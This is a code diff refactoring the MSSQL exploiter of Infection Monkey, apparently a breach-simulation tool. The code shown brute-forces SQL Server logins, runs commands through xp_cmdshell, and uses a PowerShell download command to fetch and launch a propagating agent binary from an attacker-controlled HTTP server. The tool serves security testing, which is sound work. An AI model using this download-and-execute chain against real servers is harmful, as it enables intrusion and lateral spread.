diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 7dbb190a1..1827a5281 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,7 @@ import logging from pathlib import PureWindowsPath from time import sleep +from typing import Sequence, Tuple import pymssql @@ -33,7 +34,7 @@ class MSSQLExploiter(HostExploiter): # Single quotes are escaped in SQL by using two of them. # Example: 'It ain''t over ''til it''s over' - MONKEY_DOWNLOAD_COMMAND = ( + AGENT_DOWNLOAD_COMMAND = ( "powershell (new-object System.Net.WebClient)." "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" ) @@ -45,12 +46,7 @@ class MSSQLExploiter(HostExploiter): self.payload_file_path = MSSQLExploiter.TMP_DIR_PATH / MSSQLExploiter.TMP_FILE_NAME def _exploit_host(self) -> ExploiterResultData: - """ - First this method brute forces to get the mssql connection (cursor). - Also, don't forget to start_monkey_server() before self.upload_monkey() and - self.stop_monkey_server() after - """ - monkey_path_on_victim = get_agent_dst_path(self.host) + agent_path_on_victim = get_agent_dst_path(self.host) # Brute force to get connection creds = generate_identity_secret_pairs( @@ -58,7 +54,7 @@ class MSSQLExploiter(HostExploiter): self.options["credentials"]["exploit_password_list"], ) try: - self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) + self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) except FailedExploitationError: logger.info( f"Failed brute-forcing of MSSQL server on {self.host}," @@ -71,16 +67,10 @@ class MSSQLExploiter(HostExploiter): return self.exploit_result try: - # Create dir for payload - self.create_temp_dir() - - http_thread = self.start_monkey_server(monkey_path_on_victim) - self.upload_monkey(monkey_path_on_victim) - MSSQLExploiter._stop_monkey_server(http_thread) - - self.run_monkey(monkey_path_on_victim) - - self.remove_temp_dir() + self._create_temp_dir() + self._upload_agent(agent_path_on_victim) + self._run_agent(agent_path_on_victim) + self._remove_temp_dir() except Exception as e: error_message = ( f"An unexpected error occurred when trying " @@ -95,68 +85,9 @@ class MSSQLExploiter(HostExploiter): self.exploit_result.propagation_success = True return self.exploit_result - def create_temp_dir(self): - logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}") - - mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}" - self._run_mssql_command(mkdir_command) - - def upload_monkey(self, monkey_path_on_victim: PureWindowsPath): - self._write_download_command_to_batch_file(monkey_path_on_victim) - self.run_payload_file() - - def _write_download_command_to_batch_file(self, monkey_path_on_victim: PureWindowsPath): - agent_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( - http_path=self.agent_http_path, dst_path=str(monkey_path_on_victim) - ) - self._write_command_to_batch_file(agent_download_command) - - def _write_command_to_batch_file(self, command: str): - write_to_file_command = f"{self.payload_file_path}" - self._run_mssql_command(write_to_file_command) - - def _run_mssql_command(self, command: str): - logger.debug(f"Running command on SQL Server: {command}") - - self.cursor.execute(f"xp_cmdshell '{command}'") - self.add_executed_cmd(command) - - sleep(MSSQLExploiter.QUERY_BUFFER) - - def run_payload_file(self): - self._run_mssql_command(str(self.payload_file_path)) - - def run_monkey(self, monkey_path_on_victim: PureWindowsPath): - self._write_agent_launch_command_to_batch_file(monkey_path_on_victim) - self.run_payload_file() - - def _write_agent_launch_command_to_batch_file(self, monkey_path_on_victim): - agent_launch_command = self.get_monkey_launch_command(monkey_path_on_victim) - self._write_command_to_batch_file(agent_launch_command) - - def get_monkey_launch_command(self, monkey_path_on_victim: PureWindowsPath): - monkey_args = build_monkey_commandline( - self.host, self.current_depth - 1, monkey_path_on_victim - ) - - return f"{monkey_path_on_victim} {DROPPER_ARG} {monkey_args}" - - def remove_temp_dir(self): - self._run_mssql_command(f"del {self.payload_file_path}") - self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}") - - def start_monkey_server(self, monkey_path_on_victim: PureWindowsPath) -> LockedHTTPServer: - self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( - self.host, str(monkey_path_on_victim), self.agent_repository - ) - return http_thread - - @staticmethod - def _stop_monkey_server(http_thread): - http_thread.stop() - http_thread.join(LONG_REQUEST_TIMEOUT) - - def brute_force(self, host, port, users_passwords_pairs_list): + def _brute_force( + self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]] + ) -> pymssql.Cursor: """ Starts the brute force connection attempts and if needed then init the payload process. Main loop starts here. @@ -213,3 +144,68 @@ class MSSQLExploiter(HostExploiter): raise FailedExploitationError( "Bruteforce process failed on host: {0}".format(self.host.ip_addr) ) + + def _create_temp_dir(self): + logger.debug(f"Creating a temporary directory: {MSSQLExploiter.TMP_DIR_PATH}") + + mkdir_command = f"mkdir {MSSQLExploiter.TMP_DIR_PATH}" + self._run_mssql_command(mkdir_command) + + def _upload_agent(self, agent_path_on_victim: PureWindowsPath): + http_thread = self._start_agent_server(agent_path_on_victim) + + self._write_download_command_to_batch_file(agent_path_on_victim) + self.run_payload_file() + + MSSQLExploiter._stop_agent_server(http_thread) + + def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer: + self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, str(agent_path_on_victim), self.agent_repository + ) + return http_thread + + @staticmethod + def _stop_agent_server(http_thread: LockedHTTPServer): + http_thread.stop() + http_thread.join(LONG_REQUEST_TIMEOUT) + + def _write_download_command_to_batch_file(self, agent_path_on_victim: PureWindowsPath): + agent_download_command = MSSQLExploiter.AGENT_DOWNLOAD_COMMAND.format( + http_path=self.agent_http_path, dst_path=str(agent_path_on_victim) + ) + self._write_command_to_batch_file(agent_download_command) + + def _write_command_to_batch_file(self, command: str): + write_to_file_command = f"{self.payload_file_path}" + self._run_mssql_command(write_to_file_command) + + def _run_mssql_command(self, command: str): + logger.debug(f"Running command on SQL Server: {command}") + + self.cursor.execute(f"xp_cmdshell '{command}'") + self.add_executed_cmd(command) + + sleep(MSSQLExploiter.QUERY_BUFFER) + + def run_payload_file(self): + self._run_mssql_command(str(self.payload_file_path)) + + def _run_agent(self, agent_path_on_victim: PureWindowsPath): + self._write_agent_launch_command_to_batch_file(agent_path_on_victim) + self.run_payload_file() + + def _write_agent_launch_command_to_batch_file(self, agent_path_on_victim: PureWindowsPath): + agent_launch_command = self._build_agent_launch_command(agent_path_on_victim) + self._write_command_to_batch_file(agent_launch_command) + + def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str: + agent_args = build_monkey_commandline( + self.host, self.current_depth - 1, agent_path_on_victim + ) + + return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}" + + def _remove_temp_dir(self): + self._run_mssql_command(f"del {self.payload_file_path}") + self._run_mssql_command(f"rmdir {MSSQLExploiter.TMP_DIR_PATH}")